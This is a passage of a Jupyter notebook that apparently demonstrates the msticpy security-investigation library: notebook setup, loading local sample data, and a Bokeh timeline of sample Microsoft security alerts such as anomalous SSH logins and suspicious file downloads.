tutorials-and-examples/example-notebooks/msticpy demo.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "# MSTICPY and Jupyter Notebooks\n",
    "### [msticpy GitHub](https://github.com/microsoft/msticpy)\n",
    "\n",
    "\n",
    "### Built to make writing and reading of CyberSec notebooks faster, simpler and cleaner\n",
    "\n",
    "`%pip install msticpy`\n",
    "\n",
    "### Ian Hellen\n",
    "**Principal SDE Microsoft Threat Intelligence Center, Azure Cloud and AI**\n",
    "\n",
    "Email [ianhelle@microsoft.com](mailto:ianhelle@microsoft.com)<br>\n",
    "Twitter [@ianhellen](https://twitter.com/ianhellen)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Authenticating and getting data"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {
    "ExecuteTime": {
     "end_time": "2020-08-25T19:00:56.489718Z",
     "start_time": "2020-08-25T19:00:50.029703Z"
    }
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<hr><h4>Starting Notebook initialization...</h4> <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "msticpy version installed: 1.7.0 latest published: 1.7.0<br>Latest version is installed.<br> <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Processing imports.... <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Imported: pd (pandas), IPython.get_ipython, IPython.display.display, IPython.display.HTML, IPython.display.Markdown, widgets (ipywidgets), pathlib.Path, plt (matplotlib.pyplot), matplotlib.MatplotlibDeprecationWarning, np (numpy), sns (seaborn), msticpy, msticpy.data.QueryProvider, msticpy.nbtools.foliummap.FoliumMap, msticpy.common.utility.md, msticpy.common.utility.md_warn, msticpy.common.wsconfig.WorkspaceConfig, msticpy.datamodel.pivot.Pivot, msticpy.datamodel.entities, msticpy.nbtools.nbmagics, msticpy.vis.mp_pandas_plot <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Checking configuration.... <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Azure CLI credentials not detected. (see <a href='https://github.com/Azure/Azure-Sentinel-Notebooks/wiki/Caching-credentials-with-Azure-CLI'>Caching credentials with Azure CLI</>) <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "Setting notebook options.... <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       " <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       " <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<h4>Notebook initialization complete</h4> <br>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Connected.\n"
     ]
    }
   ],
   "source": [
    "# Imports\n",
    "from msticpy.nbtools import nbinit\n",
    "nbinit.init_notebook(\n",
    "    namespace=globals(),\n",
    ")\n",
    "from msticpy.sectools.ip_utils import get_whois_info\n",
    "\n",
    "from mp_data import TILookupDemo as TILookup\n",
    "from mp_data import GeoLiteLookupDemo as GeoLiteLookup\n",
    "from mp_data import get_whois_info_demo as get_whois_info\n",
    "\n",
    "sns.set()\n",
    "\n",
    "# Set up data and authenticate\n",
    "ws_config = WorkspaceConfig(workspace=\"ASIHuntOMSWorkspaceV4\")\n",
    "qry_prov = QueryProvider(\n",
    "    data_environment='LocalData',\n",
    "    data_paths=[\"./data\"],\n",
    "    query_paths=[\"./data\"],\n",
    ")\n",
    "qry_prov.connect(connection_str=ws_config.code_connect_str)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "## Viewing and Managing Alerts"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {
    "ExecuteTime": {
     "end_time": "2020-08-25T19:00:56.569716Z",
     "start_time": "2020-08-25T19:00:56.492717Z"
    },
    "scrolled": true,
    "slideshow": {
     "slide_type": "-"
    }
   },
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "0b1e2a8a4fd7449cbc876a0ac4973f49",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(HTML(value='<h4>Set query time boundaries</h4>'), HBox(children=(DatePicker(value=datetime.date…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "from datetime import datetime\n",
    "search_origin = datetime(2019, 2, 17)\n",
    "\n",
    "search_q_times = nbwidgets.QueryTime(units='day', max_before=20, \n",
    "                                     before=3, after=2, max_after=5, \n",
    "                                     origin_time=search_origin, auto_display=True)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {
    "ExecuteTime": {
     "end_time": "2020-08-25T19:00:56.839716Z",
     "start_time": "2020-08-25T19:00:56.571718Z"
    },
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<p style='font-size: 130%;font-weight: bold'>Alerts</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold'>From 2019-02-14 00:00:00 to 2019-02-19 00:00:00 - choose an alert to display</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1002\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  const force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  const JS_MIME_TYPE = 'application/javascript';\n  const HTML_MIME_TYPE = 'text/html';\n  const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  const CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    const script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    const cell = handle.cell;\n\n    const id = cell.output_area._bokeh_element_id;\n    const server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd_clean, {\n        iopub: {\n          output: function(msg) {\n            const id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd_destroy);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    const output_area = handle.output_area;\n    const output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n      return\n    }\n\n    const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      const bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      const script_attrs = bk_div.children[0].attributes;\n      for (let i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      const toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    const events = require('base/js/events');\n    const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  const NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    const el = document.getElementById(\"1002\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error(url) {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (let i = 0; i < css_urls.length; i++) {\n      const url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    for (let i = 0; i < js_urls.length; i++) {\n      const url = js_urls[i];\n      const element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.async = false;\n      element.src = url;\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n  const css_urls = [];\n  \n\n  const inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (let i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      const cell = $(document.getElementById(\"1002\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"9a835696-149c-4af5-9372-f65eae09a38e\" data-root-id=\"1119\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  const docs_json = {\"f14636ef-ac48-4b44-aa33-7ae2bf8f6930\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1008\"},{\"id\":\"1040\"}]},\"id\":\"1119\",\"type\":\"Column\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#FDE724\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1080\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1074\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#35B778\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1105\",\"type\":\"Scatter\"},{\"attributes\":{\"source\":{\"id\":\"1004\"}},\"id\":\"1070\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#440154\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#440154\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#440154\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1093\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"1131\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#30678D\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1100\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"1132\",\"type\":\"Selection\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1004\"},\"glyph\":{\"id\":\"1066\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1068\"},\"nonselection_glyph\":{\"id\":\"1067\"},\"view\":{\"id\":\"1070\"}},\"id\":\"1069\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"1123\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"source\":{\"id\":\"1005\"}},\"id\":\"1076\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#FDE724\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1079\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1004\"},\"glyph\":{\"id\":\"1098\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1100\"},\"nonselection_glyph\":{\"id\":\"1099\"},\"view\":{\"id\":\"1102\"}},\"id\":\"1101\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"1124\",\"type\":\"AllLabels\"},{\"attributes\":{\"fill_color\":{\"value\":\"#35B778\"},\"hatch_color\":{\"value\":\"#35B778\"},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1072\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"1126\",\"type\":\"AllLabels\"},{\"attributes\":{\"source\":{\"id\":\"1003\"}},\"id\":\"1095\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1133\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"data\":{\"AlertName\":[\"Possible suspicious scheduling tasks access\\ndetected\"],\"CompromisedEntity\":[\"MSTICALERTSLXVM2\"],\"TimeGenerated\":{\"__ndarray__\":\"39HEEoekd0I=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[1]},\"index\":[22],\"y_index\":[1]},\"selected\":{\"id\":\"1132\"},\"selection_policy\":{\"id\":\"1131\"}},\"id\":\"1004\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"1006\"}},\"id\":\"1082\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1134\",\"type\":\"Selection\"},{\"attributes\":{\"data\":{\"AlertName\":[\"Security incident detected\",\"Potential attempt to bypass AppLocker detected\",\"Security incident with shared process detected\"],\"CompromisedEntity\":[\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\",\"MSTICALERTSWIN1\"],\"TimeGenerated\":{\"__ndarray__\":\"31H/u2Skd0Lf0UZ9T6R3Qt9RJgI5pHdC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[3]},\"index\":[35,37,38],\"y_index\":[0,0,0]},\"selected\":{\"id\":\"1130\"},\"selection_policy\":{\"id\":\"1129\"}},\"id\":\"1003\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"label\":{\"value\":\"High\"},\"renderers\":[{\"id\":\"1094\"}]},\"id\":\"1096\",\"type\":\"LegendItem\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#35B778\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#35B778\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#35B778\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1073\",\"type\":\"Circle\"},{\"attributes\":{\"data\":{\"AlertName\":[\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"Detected suspicious file download\",\"Detected suspicious file download\",\"Security incident detected\",\"Detected suspicious file download\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"SSH Anomalous Login ML\",\"Detected suspicious file download\"],\"CompromisedEntity\":[\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"MSTICALERTSLXVM2\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"NaN\",\"MSTICALERTSLXVM2\"],\"TimeGenerated\":{\"__ndarray__\":\"31Fz3Xild0LfUXwmd6V3Qt9Rc914pXdC31Fpr3mld0LfUbvddqV3Qt/Rskt4pXdC31F9lHald0LfUTWUeKV3Qt9RNZR4pXdC31Fz3Xild0LfUTWUeKV3Qt9Re7h3pXdC31E3cHeld0Lf0fcBeKV3Qt9RPr97pXdC31FwUB2ld0LfUSuaHaV3Qt/RpnUepXdC39GYTheld0Lf0ZJbFaV3Qt/R4TbXpHdC31HcXYakd0LfUQxPnKR3Qt9RW+S8pHdC31HlKBald0LfUZvhFaV3Qt9RnwQXpXdC31FjlxWld0LfUaByFqV3Qt9RzL4WpXdC39Gt4h2ld0LfUTIHHaV3Qt9RKiwepXdC39GAzqmld0Lf0VuEpaV3Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[35]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,23,25,26,27,28,29,30,31,32,33,34,39,40],\"y_index\":[2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2]},\"selected\":{\"id\":\"1134\"},\"selection_policy\":{\"id\":\"1133\"}},\"id\":\"1005\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"coordinates\":null,\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"group\":null,\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5,\"syncable\":false},\"id\":\"1084\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"1135\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"1136\",\"type\":\"Selection\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.5},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#30678D\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1098\",\"type\":\"Scatter\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1088\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{},\"id\":\"1128\",\"type\":\"AllLabels\"},{\"attributes\":{\"overlay\":{\"id\":\"1084\"},\"x_range\":{\"id\":\"1011\"},\"y_range\":null},\"id\":\"1083\",\"type\":\"RangeTool\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1006\"},\"glyph\":{\"id\":\"1078\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1080\"},\"nonselection_glyph\":{\"id\":\"1079\"},\"view\":{\"id\":\"1082\"}},\"id\":\"1081\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"data\":{\"AlertName\":[\"Suspicious Activity Detected\",\"Suspicious system process executed\"],\"CompromisedEntity\":[\"NaN\",\"NaN\"],\"TimeGenerated\":{\"__ndarray__\":\"39HIYr+kd0Lf0UZ9T6R3Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[2]},\"index\":[24,36],\"y_index\":[3,3]},\"selected\":{\"id\":\"1136\"},\"selection_policy\":{\"id\":\"1135\"}},\"id\":\"1006\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#30678D\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1099\",\"type\":\"Scatter\"},{\"attributes\":{\"source\":{\"id\":\"1004\"}},\"id\":\"1102\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#30678D\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#30678D\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#30678D\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1068\",\"type\":\"Circle\"},{\"attributes\":{\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_color\":{\"value\":\"#FDE724\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1078\",\"type\":\"Circle\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"CompromisedEntity\",\"@CompromisedEntity\"],[\"TimeGenerated\",\"@TimeGenerated{%F 